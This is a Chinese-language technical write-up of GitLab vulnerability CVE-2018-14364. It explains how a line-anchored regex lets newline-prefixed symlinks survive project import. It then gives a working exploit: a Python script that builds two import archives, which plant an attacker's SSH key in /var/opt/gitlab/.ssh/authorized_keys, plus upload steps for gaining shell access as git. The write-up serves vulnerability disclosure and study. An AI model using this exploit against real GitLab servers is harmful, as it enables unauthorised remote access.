2018年7月17日,Gitlab官方发布安全更新版本,修复了一个远程命令执行漏洞,CVE ID为CVE-2018-14364,该漏洞由长亭研究人员发现,并在hackerone平台提交
影响版本:>= 8.9.0
修复版本:11.0.4, 10.8.6, and 10.7.7
以版本11.0.3为例。根据版本源码对比
从CHANGELOG.md中得知为Fix symlink vulnerability in project import
主要修改的代码文件为lib/gitlab/import_export/file_importer.rb
主要关注一下extracted_files
。
当我们import一个项目时,会进入到file_import.rb
。然后调用第17行的:
def import
mkdir_p(@shared.export_path)
remove_symlinks!
wait_for_archived_file do
decompress_archive
end
rescue => e
@shared.error(e)
false
ensure
remove_symlinks!
end
remove_symlinks
用于删除导入文件中存在的符号链接。此前gitlab就因为符号链接的问题爆出过多个RCE问题,因此在这里做了检查:
def remove_symlinks!
extracted_files.each do |path|
FileUtils.rm(path) if File.lstat(path).symlink?
end
true
end
而extracted_files
定义在61行,这个方法用于列出解压出来的所有文件。
def extracted_files
Dir.glob("#{@shared.export_path}/**/*", File::FNM_DOTMATCH).reject { |f| f =~ %r{.*/\.{1,2}$} }
end
在ruby中,关于正则表达式的符号定义如下:
也就是说%r{.*/\.{1,2}$}
这个正则表达式最后的$
只能匹配到一行的末尾(Matches end of line),而不是整个字符串的末尾(Matches end of string)。
根据POSIX 标准,对于文件名(filename)除了slash character/
和null byte NULL
外,其余字符均可以:
所以只要创建一个名字以\n
开头的符号链接文件,就无法被extracted_files
列出。
回到版本源码对比,在测试文件file_importer_spec.rb里:
因此构建测试环境:
require "tmpdir"
puts "The temp dir is: #{Dir.tmpdir}"
export_path="#{Dir.tmpdir}/file_importer"
evil_symlink_file="#{export_path}/.\nevil"
valid_file="#{export_path}/valid.json"
FileUtils.mkdir_p("#{export_path}/subfolder/")
FileUtils.touch(valid_file)
FileUtils.ln_s(valid_file, evil_symlink_file)
可以看到原本的正则表达式是无法检测到\nevil
文件的:
提供一下压缩包生成脚本:
import os
import shutil
def step_one():
os.chdir(uploads_dir)
gitlab_dir = "/var/opt/gitlab"
evil_symlink_name = ".\nevil"
os.symlink(gitlab_dir, evil_symlink_name)
os.chdir(exp_dir)
os.system("tar -czf ../step1.tar.gz . && rm -r uploads && mkdir uploads")
def step_two():
os.chdir(uploads_dir)
evil_ssh_dir_name = ".\nevil/.ssh"
os.makedirs(evil_ssh_dir_name)
evil_dir = os.getcwd() + "/" + evil_ssh_dir_name
os.chdir(evil_dir)
shutil.copy(authorized_keys,"authorized_keys")
os.chdir(exp_dir)
os.system("tar -czf ../step2.tar.gz . && rm -r uploads && mkdir uploads")
if __name__ == '__main__':
uploads_dir = os.getcwd() + "/evil/uploads"
exp_dir = os.getcwd() + "/evil"
authorized_keys = os.getcwd() + "/key.pub"
step_one()
step_two()
key.pub里保存公钥。其余文件见文末附件压缩包。
创建项目project ,选择Import project
后选择Import an exported GitLab project
待导入成功后,如下图:
注意此时的项目名为test
,同时右下角有一个Remove project
,点击删除掉project,然而此时在gitlab的目录下,test
还没有被删除。
新建一个project,仍然采用Import an exported GitLab project
,然后上传第二个压缩包
第二个压缩包的内容如下,\nevil
是目录名
VERSION
project.json
uploads/
uploads/.\nevil/
uploads/.\nevil/.ssh/
uploads/.\nevil/.ssh/authorized_keys
gitlab在解压第二个压缩包时,会尝试往目录\nevil
里写入.ssh/authorized_keys
,而由于上一步的符号链接\nevil
没有删除,所以实际写入的目录是/var/opt/gitlab/.ssh/authorized_keys
可以看到authorized_keys
已经被写入了公钥。此后用用户名git和公钥对应的私钥直接ssh连接服务器即可。